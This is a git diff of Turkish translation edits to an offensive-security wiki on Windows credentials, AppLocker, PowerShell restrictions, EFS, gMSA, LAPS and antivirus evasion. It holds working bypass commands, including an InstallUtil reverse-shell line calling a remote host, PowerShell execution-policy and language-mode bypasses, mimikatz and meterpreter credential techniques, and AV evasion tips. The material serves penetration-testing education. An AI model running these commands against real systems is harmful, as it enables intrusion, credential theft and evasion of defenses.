değiştiğinde Hizmet Prensip Adını (SPN) otomatik olarak güncelleyerek SPN yönetimini basitleştirir. -gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri bloğudur ve yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilir, böylece güvenli bir ortam sağlanır. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile kimlik doğrulaması yapılmalıdır. +gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifreli bir veri bloğudur ve yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilir, bu da güvenli bir ortam sağlar. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile kimlik doğrulaması yapılmalıdır. ![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png) @@ -158,27 +158,27 @@ Bu şifreyi [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordRe ``` [**Bu yazıda daha fazla bilgi bulun**](https://cube0x0.github.io/Relaying-for-gMSA/) -Ayrıca, **gMSA**'nın **şifresini** **okumak** için **NTLM relay attack** nasıl yapılacağı hakkında bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin. +Ayrıca, **gMSA**'nın **şifresini** **okumak** için bir **NTLM relay saldırısı** gerçekleştirme hakkında bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin. ## LAPS -**Local Administrator Password Solution (LAPS)**, [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) üzerinden indirilebilir, yerel Yönetici şifrelerinin yönetimini sağlar. Bu şifreler, **rastgele**, benzersiz ve **düzenli olarak değiştirilen** şifrelerdir ve merkezi olarak Active Directory'de saklanır. Bu şifrelere erişim, yetkili kullanıcılara ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır. +**Yerel Yönetici Şifre Çözümü (LAPS)**, [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) üzerinden indirilebilir, yerel Yönetici şifrelerinin yönetimini sağlar. Bu şifreler, **rastgele**, benzersiz ve **düzenli olarak değiştirilen** şifrelerdir ve merkezi olarak Active Directory'de saklanır. Bu şifrelere erişim, yetkili kullanıcılar için ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır. {{#ref}} active-directory-methodology/laps.md {{#endref}} -## PS Constrained Language Mode +## PS Kısıtlı Dil Modu -PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme. +PowerShell [**Kısıtlı Dil Modu**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme gibi. ### **Kontrol Et** -```powershell +```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` ### Atlatma -```powershell +```bash #Easy bypass Powershell -version 2 ``` @@ -193,12 +193,12 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanarak **Powershell** kodunu herhangi bir süreçte çalıştırabilir ve kısıtlı modu atlayabilirsiniz. Daha fazla bilgi için kontrol edin: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). -## PS İcra Politikası +## PS Execution Policy -Varsayılan olarak **kısıtlı** olarak ayarlanmıştır. Bu politikayı atlamanın ana yolları: -```powershell +Varsayılan olarak **restricted** olarak ayarlanmıştır. Bu politikayı aşmanın ana yolları: +```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec Get-Content .runme.ps1 | PowerShell.exe -noprofile - @@ -223,7 +223,7 @@ Daha fazlasını [burada](https://blog.netspi.com/15-ways-to-bypass-the-powershe Kullanıcıları kimlik doğrulamak için kullanılabilecek API'dir. -SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumlu olacaktır. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir; bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcı (SSP) olarak adlandırılır, her Windows makinesinde DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolü desteklemesi gerekir. +SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumludur. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere eder, bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcıları (SSP) olarak adlandırılır ve her Windows makinesinde bir DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolü desteklemesi gerekir. ### Ana SSP'ler @@ -238,7 +238,7 @@ SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorum - **Negotiate**: Kullanılacak protokolü müzakere etmek için kullanılır (Kerberos veya NTLM, varsayılan olan Kerberos'tur) - %windir%\Windows\System32\lsasrv.dll -#### Müzakere birkaç yöntem veya yalnızca bir tane sunabilir. +#### Müzakere birkaç yöntem veya sadece bir tane sunabilir. ## UAC - Kullanıcı Hesabı Kontrolü diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index a59c052c6..5b4ae79e9 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -4,15 +4,15 @@ ## AppLocker Politikası -Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya çalıştırılabilir dosyaların listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır. +Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya yürütülebilir dosyaların listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar**. **Çalıştırılabilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri** üzerinde **ince ayar kontrolü** sağlar.\ -Organizasyonların genellikle **cmd.exe ve PowerShell.exe'yi engellemesi** ve belirli dizinlere yazma erişimini kısıtlaması yaygındır, **ancak bunların hepsi atlatılabilir**. +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar**. Yürütülebilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri üzerinde **ince ayar kontrolü** sağlar.\ +Organizasyonların **cmd.exe ve PowerShell.exe'yi engellemesi** ve belirli dizinlere yazma erişimi sağlaması yaygındır, **ancak bunların hepsi atlatılabilir**. ### Kontrol Hangi dosyaların/uzantıların kara listeye alındığını/beyaz listeye alındığını kontrol edin: -```powershell +```bash Get-ApplockerPolicy -Effective -xml Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections @@ -26,18 +26,18 @@ Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve p ### Bypass -- AppLocker Politikasını atlamak için **Yazılabilir klasörler**: Eğer AppLocker `C:\Windows\System32` veya `C:\Windows` içindeki herhangi bir şeyi çalıştırmaya izin veriyorsa, bunu **atlamak** için kullanabileceğiniz **yazılabilir klasörler** vardır. +- AppLocker Politikasını atlamak için **Yazılabilir klasörler**: Eğer AppLocker, `C:\Windows\System32` veya `C:\Windows` içindeki herhangi bir şeyi çalıştırmaya izin veriyorsa, bunu **atlamak için** kullanabileceğiniz **yazılabilir klasörler** vardır. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- Yaygın olarak **güvenilen** [**"LOLBAS's"**](https://lolbas-project.github.io/) ikili dosyaları, AppLocker'ı atlatmak için de yararlı olabilir. +- Yaygın olarak **güvenilir** [**"LOLBAS's"**](https://lolbas-project.github.io/) ikili dosyaları AppLocker'ı atlatmak için de yararlı olabilir. - **Kötü yazılmış kurallar da atlatılabilir** - Örneğin, **``**, istediğiniz herhangi bir yere **`allowed`** adında bir **klasör oluşturabilirsiniz** ve bu izinli olacaktır. - Kuruluşlar genellikle **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** yürütülebilir dosyasını **engellemeye** odaklanır, ancak **diğer** [**PowerShell yürütülebilir konumlarını**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) unutur, örneğin `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` veya `PowerShell_ISE.exe`. -- **DLL uygulaması çok nadiren etkinleştirilir** çünkü sistem üzerinde ek bir yük oluşturabilir ve hiçbir şeyin bozulmayacağından emin olmak için gereken test miktarı yüksektir. Bu nedenle, **DLL'leri arka kapı olarak kullanmak AppLocker'ı atlatmaya yardımcı olacaktır**. +- **DLL uygulaması çok nadiren etkinleştirilir** çünkü sistem üzerinde ek bir yük oluşturabilir ve hiçbir şeyin bozulmadığından emin olmak için gereken test miktarı yüksektir. Bu nedenle **DLL'leri arka kapı olarak kullanmak AppLocker'ı atlatmaya yardımcı olacaktır**. - Herhangi bir süreçte **Powershell** kodunu **çalıştırmak** ve AppLocker'ı atlatmak için [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanabilirsiniz. Daha fazla bilgi için kontrol edin: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). ## Kimlik Bilgileri Depolama @@ -49,7 +49,7 @@ Yerel kimlik bilgileri bu dosyada mevcuttur, şifreler hashlenmiştir. ### Yerel Güvenlik Otoritesi (LSA) - LSASS **Kimlik bilgileri** (hashlenmiş) bu alt sistemin **belleğinde** **kaydedilir**.\ -**LSA**, yerel **güvenlik politikasını** (şifre politikası, kullanıcı izinleri...), **kimlik doğrulama**, **erişim belirteçleri**... yönetir.\ +**LSA**, yerel **güvenlik politikasını** (şifre politikası, kullanıcı izinleri...), **kimlik doğrulama**, **erişim jetonları**... yönetir.\ LSA, sağlanan kimlik bilgilerini **SAM** dosyasında (yerel giriş için) **kontrol eden** ve bir alan kullanıcısını kimlik doğrulamak için **alan denetleyicisi** ile **konuşan** olacaktır. **Kimlik bilgileri**, **işlem LSASS** içinde **kaydedilir**: Kerberos biletleri, NT ve LM hashleri, kolayca çözülebilen şifreler. @@ -58,14 +58,14 @@ LSA, sağlanan kimlik bilgilerini **SAM** dosyasında (yerel giriş için) **kon LSA, diskte bazı kimlik bilgilerini kaydedebilir: -- Aktif Dizin'in bilgisayar hesabının şifresi (ulaşılamayan alan denetleyicisi). +- Etki Alanı Denetleyicisi'ne (ulaşılamayan) ait bilgisayar hesabının şifresi. - Windows hizmetlerinin hesaplarının şifreleri - Zamanlanmış görevler için şifreler - Daha fazlası (IIS uygulamalarının şifresi...) ### NTDS.dit -Bu, Aktif Dizin'in veritabanıdır. Sadece Alan Denetleyicileri'nde mevcuttur. +Bu, Active Directory'nin veritabanıdır. Sadece Alan Denetleyicileri'nde mevcuttur. ## Defender @@ -103,20 +103,20 @@ sc query windefend ``` ## Şifreli Dosya Sistemi (EFS) -EFS, dosyaları **simetrik anahtar** olan **Dosya Şifreleme Anahtarı (FEK)** ile şifreleyerek güvence altına alır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının ilgili **özel anahtarı** $EFS akışından FEK'yi şifre çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir. +EFS, dosyaları **şifreleme** yoluyla güvence altına alır ve **Dosya Şifreleme Anahtarı (FEK)** olarak bilinen **simetrik anahtar** kullanır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının ilgili **özel anahtarı** $EFS akışından FEK'yi şifre çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir. **Kullanıcı başlatması olmadan şifre çözme senaryoları** şunları içerir: -- Dosyalar veya klasörler, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) gibi bir EFS dosya sistemine taşındığında, otomatik olarak şifre çözülür. -- SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar, iletimden önce şifre çözülür. +- Dosyalar veya klasörler, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) gibi bir EFS dosya sistemine taşındığında, otomatik olarak şifreleri çözülür. +- SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar, iletimden önce şifreleri çözülür. -Bu şifreleme yöntemi, sahibi için şifreli dosyalara **şeffaf erişim** sağlar. Ancak, sadece sahibin şifresini değiştirmek ve oturum açmak şifre çözmeye izin vermez. +Bu şifreleme yöntemi, **şifreli dosyalara** sahip olan için **şeffaf erişim** sağlar. Ancak, yalnızca sahibin şifresini değiştirmek ve oturum açmak, şifre çözmeye izin vermez. **Ana Noktalar**: - EFS, kullanıcının açık anahtarı ile şifrelenmiş simetrik bir FEK kullanır. - Şifre çözme, FEK'ye erişmek için kullanıcının özel anahtarını kullanır. -- Belirli koşullar altında otomatik şifre çözme gerçekleşir, örneğin FAT32'ye kopyalama veya ağ iletimi gibi. +- FAT32'ye kopyalama veya ağ iletimi gibi belirli koşullar altında otomatik şifre çözme gerçekleşir. - Şifreli dosyalar, ek adımlar olmadan sahibine erişilebilir. ### EFS bilgilerini kontrol et @@ -124,13 +124,13 @@ Bu şifreleme yöntemi, sahibi için şifreli dosyalara **şeffaf erişim** sağ Bir **kullanıcının** bu **hizmeti** kullanıp kullanmadığını kontrol etmek için bu yolun var olup olmadığını kontrol edin:`C:\users\\appdata\roaming\Microsoft\Protect` Dosyaya **kimlerin** **erişimi** olduğunu kontrol etmek için cipher /c \\ -Ayrıca bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak tüm dosyaları **şifreleyebilir** ve **şifre çözebilirsiniz**. +Ayrıca, bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak tüm dosyaları **şifreleyebilir** ve **şifre çözebilirsiniz**. ### EFS dosyalarını şifre çözme #### Yetki Sistemi Olmak -Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** çalıştırmasını gerektirir. Eğer durum buysa, `meterpreter` oturumları kullanarak kullanıcının işleminin token'ını taklit edebilirsiniz (`incognito`'dan `impersonate_token`). Ya da sadece kullanıcının işlemine `migrate` edebilirsiniz. +Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** çalıştırmasını gerektirir. Eğer durum buysa, `meterpreter` oturumları kullanarak kullanıcının işleminin token'ını taklit edebilirsiniz (`impersonate_token` from `incognito`). Ya da sadece kullanıcının işlemine `migrate` edebilirsiniz. #### Kullanıcının şifresini bilmek @@ -143,12 +143,12 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files Microsoft, IT altyapılarındaki hizmet hesaplarının yönetimini basitleştirmek için **Grup Yönetilen Hizmet Hesapları (gMSA)** geliştirmiştir. Geleneksel hizmet hesaplarının genellikle "**Şifre asla süresi dolmaz**" ayarı etkinken, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar: - **Otomatik Şifre Yönetimi**: gMSA'lar, alan veya bilgisayar politikasına göre otomatik olarak değişen karmaşık, 240 karakterli bir şifre kullanır. Bu süreç, Microsoft'un Anahtar Dağıtım Servisi (KDC) tarafından yönetilir ve manuel şifre güncellemeleri gereksiz hale gelir. -- **Geliştirilmiş Güvenlik**: Bu hesaplar kilitlenmelere karşı bağışık olup, etkileşimli oturum açmak için kullanılamaz, böylece güvenliklerini artırır. +- **Gelişmiş Güvenlik**: Bu hesaplar, kilitlenmelere karşı bağışık olup etkileşimli oturum açmak için kullanılamaz, bu da güvenliklerini artırır. - **Birden Fazla Ana Bilgisayar Desteği**: gMSA'lar, birden fazla ana bilgisayar arasında paylaşılabilir, bu da onları birden fazla sunucuda çalışan hizmetler için ideal hale getirir. - **Zamanlanmış Görev Yeteneği**: Yönetilen hizmet hesaplarının aksine, gMSA'lar zamanlanmış görevlerin çalıştırılmasını destekler. - **Basitleştirilmiş SPN Yönetimi**: Sistem, bilgisayarın sAMaccount ayrıntıları veya DNS adı değiştiğinde Hizmet Prensip Adını (SPN) otomatik olarak güncelleyerek SPN yönetimini basitleştirir. -gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri bloğudur ve yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilir, böylece güvenli bir ortam sağlanır. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile kimlik doğrulaması yapılmalıdır. +gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilen, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri bloğudur ve güvenli bir ortam sağlar. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantının 'Sealing & Secure' ile kimlik doğrulaması yapılması gerekir. ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) @@ -158,11 +158,11 @@ Bu şifreyi [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordRe ``` [**Bu yazıda daha fazla bilgi bulun**](https://cube0x0.github.io/Relaying-for-gMSA/) -Ayrıca, **gMSA**'nın **şifresini** **okumak** için **NTLM relay attack** nasıl yapılacağı hakkında bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin. +Ayrıca, **gMSA**'nın **şifresini** **okumak** için nasıl bir **NTLM relay attack** gerçekleştireceğinizi anlatan bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin. ## LAPS -**Local Administrator Password Solution (LAPS)**, [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) üzerinden indirilebilir, yerel Yönetici şifrelerinin yönetimini sağlar. Bu şifreler, **rastgele**, benzersiz ve **düzenli olarak değiştirilen** şifrelerdir ve merkezi olarak Active Directory'de saklanır. Bu şifrelere erişim, yetkili kullanıcılara ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır. +**Local Administrator Password Solution (LAPS)**, [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) üzerinden indirilebilir ve yerel Yönetici şifrelerinin yönetimini sağlar. Bu şifreler, **rastgele**, benzersiz ve **düzenli olarak değiştirilen** şifrelerdir ve merkezi olarak Active Directory'de saklanır. Bu şifrelere erişim, yetkili kullanıcılara ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır. {{#ref}} ../active-directory-methodology/laps.md @@ -170,15 +170,15 @@ Ayrıca, **gMSA**'nın **şifresini** **okumak** için **NTLM relay attack** nas ## PS Constrained Language Mode -PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme. +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme gibi. ### **Kontrol Et** -```powershell +```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` ### Atlatma -```powershell +```bash #Easy bypass Powershell -version 2 ``` @@ -193,12 +193,12 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanarak **Powershell** kodunu herhangi bir süreçte çalıştırabilir ve kısıtlı modu atlayabilirsiniz. Daha fazla bilgi için kontrol edin: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). -## PS İcra Politikası +## PS Execution Policy -Varsayılan olarak **kısıtlı** olarak ayarlanmıştır. Bu politikayı atlamanın ana yolları: -```powershell +Varsayılan olarak **restricted** olarak ayarlanmıştır. Bu politikayı aşmanın ana yolları: +```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec Get-Content .runme.ps1 | PowerShell.exe -noprofile - @@ -223,7 +223,7 @@ Daha fazlasını [buradan](https://blog.netspi.com/15-ways-to-bypass-the-powersh Kullanıcıları kimlik doğrulamak için kullanılabilecek API'dir. -SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumlu olacaktır. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir; bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcıları (SSP) olarak adlandırılır ve her Windows makinesinde bir DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolü desteklemesi gerekir. +SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumludur. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere eder, bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcı (SSP) olarak adlandırılır ve her Windows makinesinde bir DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolü desteklemesi gerekir. ### Ana SSP'ler @@ -240,9 +240,9 @@ SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorum #### Müzakere birkaç yöntem veya yalnızca birini sunabilir. -## UAC - Kullanıcı Hesabı Denetimi +## UAC - Kullanıcı Hesabı Kontrolü -[Kullanıcı Hesabı Denetimi (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş etkinlikler için onay istemi** sağlayan bir özelliktir. +[Kullanıcı Hesabı Kontrolü (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş etkinlikler için onay istemi** sağlayan bir özelliktir. {{#ref}} uac-user-account-control.md diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index edc41c5b1..a8508fe6b 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -10,11 +10,11 @@ ### **Statik tespit** -Statik tespit, bir ikili dosyada veya betikte bilinen kötü amaçlı dizeleri veya bayt dizilerini işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak gerçekleştirilir (örneğin, dosya açıklaması, şirket adı, dijital imzalar, simge, kontrol toplamı vb.). Bu, bilinen kamu araçlarını kullanmanın sizi daha kolay yakalanmanıza neden olabileceği anlamına gelir, çünkü muhtemelen analiz edilmiş ve kötü amaçlı olarak işaretlenmiştir. Bu tür tespitlerden kaçmanın birkaç yolu vardır: +Statik tespit, bir ikili dosyada veya betikte bilinen kötü amaçlı dizeleri veya bayt dizilerini işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak gerçekleştirilir (örneğin, dosya açıklaması, şirket adı, dijital imzalar, simge, kontrol toplamı vb.). Bu, bilinen kamu araçlarını kullanmanın sizi daha kolay yakalanmanıza neden olabileceği anlamına gelir, çünkü muhtemelen analiz edilmiş ve kötü amaçlı olarak işaretlenmiştir. Bu tür tespiti aşmanın birkaç yolu vardır: - **Şifreleme** -Eğer ikili dosyayı şifrelerseniz, AV'nin programınızı tespit etmesi imkansız hale gelir, ancak programı bellek içinde deşifre edip çalıştırmak için bir yükleyiciye ihtiyacınız olacaktır. +Eğer ikili dosyayı şifrelerseniz, AV'nin programınızı tespit etmesi imkansız hale gelir, ancak programı bellek içinde deşifre edip çalıştırmak için bir tür yükleyiciye ihtiyacınız olacaktır. - **Obfuscation** @@ -25,34 +25,34 @@ Bazen tek yapmanız gereken, ikili dosyanızdaki veya betiğinizdeki bazı dizel Kendi araçlarınızı geliştirirseniz, bilinen kötü imzalar olmayacaktır, ancak bu çok zaman ve çaba gerektirir. > [!NOTE] -> Windows Defender statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) kullanmaktır. Temelde dosyayı birden fazla segmente ayırır ve ardından Defender'dan her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya baytların tam olarak ne olduğunu size söyleyebilir. +> Windows Defender statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)'dir. Temelde dosyayı birden fazla segmente ayırır ve ardından Defender'dan her birini ayrı 